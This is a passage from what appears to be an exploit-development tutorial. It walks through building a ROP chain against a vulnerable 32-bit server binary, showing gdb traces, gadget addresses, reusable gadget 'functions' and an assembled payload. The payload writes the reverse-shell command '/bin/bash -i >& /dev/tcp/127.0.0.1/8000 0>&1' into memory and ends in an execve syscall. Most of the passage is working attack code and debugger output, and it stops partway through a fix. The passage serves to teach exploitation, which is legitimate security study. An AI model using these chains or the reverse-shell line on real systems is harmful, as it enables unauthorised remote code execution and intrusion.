=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d0: 0x41414141  0x41414141
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe5b0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe56c
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) x/xw 0xbfffe56c + 4
0xbfffe570: 0xbbbbbbbb
(gdb) stepi
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d4: 0x41414141  0x41414141
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe5b4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d8: 0x41414141  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe5b8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f18 <__tens+2904>: xchg   edi,eax
0x080c0f18 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f19 <__tens+2905>: xchg   esp,eax
0x080c0f19 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe7cc
(gdb) stepi
0xbfffe7cc: 0x0809cd4b  0xaaaaaa66  0xeeeeeeee  0xeeeeeeee
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc
=> 0x80c0f1a <__tens+2906>: ret    
0x080c0f1a in __tens ()
6: /x $esp = 0xbfffe7cc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe7d0: 0xaaaaaa66  0xeeeeeeee  0xeeeeeeee  0xeeeeeeee
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee
=> 0x809cd4d <____strtoull_l_internal+525>: pop    ebx
0x0809cd4d in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d0
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d4: 0xeeeeeeee  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee
=> 0x809cd4e <____strtoull_l_internal+526>: pop    esi
0x0809cd4e in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d4
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18
=> 0x809cd4f <____strtoull_l_internal+527>: pop    edi
0x0809cd4f in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d8
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe7fc: 0x080c0f18  0x41414141
=> 0x809cd50 <____strtoull_l_internal+528>: pop    ebp
0x0809cd50 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7dc
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe800: 0x41414141  0x41414141
=> 0x809cd51 <____strtoull_l_internal+529>: ret    
0x0809cd51 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7e0
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax
0x08083f21 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0x00000000

So our function seemed to have worked perfectly! :-)

Control Statements

I thought of a few different ways that control statements might be possible but was unable to find any relevant gadgets that was capable of doing it.

Because of this I haven't actually implemented any control statements in the exploit but I will describe a few gadgets that might make it possible.

The main reason I wanted a control statement in the exploit was because quite often I need to move the return value of the function into edx but the gadget to do this requires 4 double words on the stack.

As edx wasn't being used throughout the function I would have liked to find a gadget like this:

1
test edx, edx ; je esi ; ret

If we made sure edx = 0 and esi contained the address of the following gadget:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

Then we could move the return value of the function into edx within the function, shrinking the size of the payload a little more.

This allows us the run 1 gadget different depending on the value of 1 register (in this case edx).

If we could find the inverse of this contional jump, like this:

1
test edx, edx ; jne edx ; ret

In this case we still have esi spare and we just have to make sure edx is zero if we don't want to take the jump.

Of course the gadget pointed to by esi/edx (or any unused register which a gadget could jump to) could be something similar to the following:

1
xchg [reg], esp ; ret

Now, instead of just running 1 gadget, we are able to change the control flow of the application in a much bigger way.

Of course these examples are just dealing with testing if a value is zero or not but there is no reason why we could check for a number of different values with a gadget like the following:

1
test edx, esi ; je eax ; ret

We could place a number of these to test for a number of specific values or even a range using 2 gadgets similar to the following:

1
2
test edx, esi ; jg eax ; ret
test edx, ebx ; jl eax ; ret

Obviously there are so many different combinations that could lead to different branches being taken depending on certain values, these values don't necessarily need to be values set by the programmer either.

Consider the following:

1
test dword ptr [edx], esi ; je eax ; ret

Or the following sequence:

1
2
mov edx, dword ptr [edx] ; ret
test edx, esi ; je eax ; ret

Now we can test values in memory against specific values and make decisions based on that.

Another option would be with conditional move's, like this:

1
2
test edx, edx ; ret
cmove esp, eax ; ret

The goal here isn't to give you all of the possibilities that might arise, I don't think that would even be possible (there are so many possibiities), but to show that using a bit of creativity and having the right gadgets you can create reasonably complex applications using ROP.

Obviously you are limited by the gadgets that are avaliable to you though.

A Second Function

I decided to add a second function which would take 3 arguments, the same 2 as the first function but with the extra value inside edx, this would be a value to write to the address that is being calculated.

The resulting function was:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

I decided that it would be best if this function could be run almost directly after the first function, so that in cases where we want to write the address of a string into a pointer to that string, the first function could be run to calculate the address of the string and then the second function could be run to write that value into the pointer.

This of course means that it would be best if the return value of the first function was put inside edx, so the first function needs to be edited.

Here is the new first function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

Now we could run the first function as normal, followed by a pop ebx and the relevant value and immediately run the second function, whose address will already be in eax to write the value we've just calculated.

Running The Second Function Directly

Obviously to write the nulls we want to just run the second function with 0 in edx.

To do this all we have to do is make sure eax contains the distance from ecx (the top of the first function) to the top of the second function, which is 108 bytes, before we add eax, ecx.

I will use a technique I've not used before to do this. First we have to run the vulnerable application:

1
appuser@dev:~$ ./app-net

Now, in another terminal (as root) we need to find out the pid of the application:

1
2
3
root@dev:~# ps ax | grep app-net
25675 pts/2    S+     0:00 ./app-net
25681 pts/1    S+     0:00 grep app-net

So our application has the pid 25675, we now need to look at the memory layout of it, this is so we know the memory address range that we need to search:

1
2
3
4
5
6
7
root@dev:~# cat /proc/25675/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
09f57000-09f79000 rw-p 00000000 00:00 0          [heap]
b771e000-b771f000 r-xp 00000000 00:00 0          [vdso]
bfabd000-bfade000 rw-p 00000000 00:00 0          [stack]

The top 2 memory segments are static, so we can use anything in these sections of memory, we will look for 108 here using gdb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
root@dev:~# gdb -q -p 25675
Attaching to process 25675
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
0x0805790c in accept ()
(gdb) find 0x08048000, 0x080ca000, 0x0000006c
0x8056f39 <openlog_internal+217>
0x807a9d8 <fork+120>
0x807a9e5 <fork+133>
0x807aa3d <fork+221>
0x807ab00 <fork+416>
0x807abc3 <getpid+3>
0x8085c47 <raise+7>
0x80ae185 <__PRETTY_FUNCTION__.11707+37>
0x80ae2bf <__PRETTY_FUNCTION__.9288+31>
0x80ae300 <__PRETTY_FUNCTION__.9058+32>
0x80b0090 <_nl_C_LC_CTYPE_tolower+816>
0x80b0110 <_nl_C_LC_CTYPE_tolower+944>
0x80b0c78 <translit_from_idx+216>
0x80b6224 <translit_to_tbl+420>
0x80b6608 <translit_to_tbl+1416>
0x80b6a90 <translit_to_tbl+2576>
0x80b7434 <translit_to_tbl+5044>
0x80b7844 <translit_to_tbl+6084>
0x80b7e20 <translit_to_tbl+7584>
0x80b7e38 <translit_to_tbl+7608>
0x80b7f08 <translit_to_tbl+7816>
0x80b7f18 <translit_to_tbl+7832>
0x80b7f28 <translit_to_tbl+7848>
0x80b7f38 <translit_to_tbl+7864>
0x80b8320 <translit_to_tbl+8864>
0x80b8330 <translit_to_tbl+8880>
0x80b8340 <translit_to_tbl+8896>
0x80b8354 <translit_to_tbl+8916>
0x80b837c <translit_to_tbl+8956>
0x80b8390 <translit_to_tbl+8976>
0x80b843c <translit_to_tbl+9148>
0x80b8464 <translit_to_tbl+9188>
0x80b89c4 <translit_to_tbl+10564>
0x80b8c64 <translit_to_tbl+11236>
0x80b8ec8 <translit_to_tbl+11848>
0x80b9138 <translit_to_tbl+12472>
0x80b9588 <translit_to_tbl+13576>
0x80b97bc <translit_to_tbl+14140>
0x80b99d8 <translit_to_tbl+14680>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/xw 0x8056f39
0x8056f39 <openlog_internal+217>:   0x0000006c

So we can get the required value into eax using the following:

1
2
3
4
5
6
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
[0xaaaaaaaa - distance from ecx to address that we want to write zeros]

But we still need 0 in edx, so far we've only used 1 method to do this (xor eax, eax and then moving eax to edx) but we are no longer able to use eax so we are going to have to use a different method, here is 1:

1
2
3
4
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value

Here we are just setting edx to 0xffffffff, which is the maximum value that edx can contain, and then increasing it by 1, which will cause the carry flag to set and edx to contain 0.

Now we just need to call the function as normal:

1
2
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

So now in 12 double words, or 48 bytes, we have written zeros to a part of memory (the functions are contained in our padding section which is of fixed size anyway).

The Exploit So Far

If we put everything we've worked out so far together, we get to a point where we've written all of the zeros (or null terminators).

Our notes should now look similar to this:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function 1 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

#################### Function 2 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96 : 0xaaaaaaaa - distance from ecx to long arg 0xffffffff (20)
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa96 : distance from ecx to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa66 : distance from ecx to -c arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to -c arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa5e : distance from ecx to 1st arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 1st arg null terminator

Now we have to write the pointer values, we can do this by first running the first function to figure out the address of the string, then running the second function to write that value to the correct place.

Let me demonstrate how to do this with the pointer to the first string (which currently contains 0xbbbbbbbb).

First we find the address of the string:

1
2
3
4
5
0x08057b7e : pop ebx ; ret
0xaaaaaa52 : distance from ecx to the start of ////bin/bash
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

Now we should have the address of the ////bin/bash string in edx.

Now we can write it to the correct location:

1
2
3
0x08057b7e : pop ebx ; ret
0xaaaaaa9a : distance from ecx to the ////bin/bash pointer
0x0807b086 : xchg eax, esp ; ret

Done :-)

So in 8 double words, or 32 bytes, we've calculated the address of the string, and address of the pointer and written the address of the string over the pointer.

Finalizing The Exploit

We will actually set this pointer last out of the 3 pointers because we will need to set edx and ecx afterwards.

Remember edx needs to point to nulls and ecx needs to point to the beginning on the pointers (the address we wrote to here, which will be contained in edi after running the second function).

But to set ecx the address needs to contain nulls so after running the previous sequence, we can set both ecx and edx to the correct values using these gadgets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret

Now the value we want in ebx is at the address pointed to by ecx so the following will give us the right value inside ebx:

1
2
3
4
5
6
7
0x080838e8 : mov eax, dword ptr [ecx] ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop

Lastly we set eax and initiate the syscall:

1
2
3
4
0x080a8576 : pop eax ; ret
0x81fffff4 : (0x81ffffe9 + 11) 11 = execve syscall number
0x080aa1cc : sub eax, 0x81ffffe9 ; ret
0x08048c0d : int 0x80

Some of you may have noticed the mistake but after building the exploit and running it you will see this fails with a segfault and we get no shell.

Fixing The Exploit

I left this in here because it demonstrates nicely the types of problems you are likely to run into when developing these exploits.

The problem was in the functions, with our previous exploit the gadgets were all run in sequence so it didn't matter if we overwrote previous gadget on the stack as we weren't going to use it again.

In regards to the functions though we are going to run them numberous times so we must ensure that nothing that is vital for the application it overwritten.

The offending gadget (present in both functions) is:

1
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret

The problem here is that the first push eax will actually overwrite the gadget itself on the stack.

Let's visualize this a little, just before the above gadget is run, the top of the stack looks like this:

When the gadget is first run, esp changes value by 4 bytes, like this:

Now the push eax instruction is executed which causes this to happen:

Obviously this is undesirable because when we go to run the function again instead of running the actual gadget it will try to change execution to the value that was put here in the gadgets place.

The only way to deal with this is by removing this gadget and replacing it with something that doesn't edit any important parts of the stack.

One way I am going to solve this is by returning to the main application and moving the value into ebx there, this will however increase the size of the payload.

The second function is easiest to change:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

On line 7 execution is moved back to the main application, there we must move the value, which will be in the edi register, into ebx.

The first function is a bit more difficult because there are 2 instances of the offending gadget.

The first we can deal with the same as in the second function but the second instance is different.

The goal of the end of this function is to move the return value into edx so that the second function can be run directly after.

What we can do is move the value into edi and then xchg edx and edi using the following 2 gadgets:

1
2
0x080a3f72 : xchg eax, edi ; ret
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret

There is 1 problem here, the inc instruction after the xchg.

We need to make sure that this (ebx + 0x5e5b04c4) adds up to a memory address that is writable.

After looking at the application memory map over a few runs of the application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
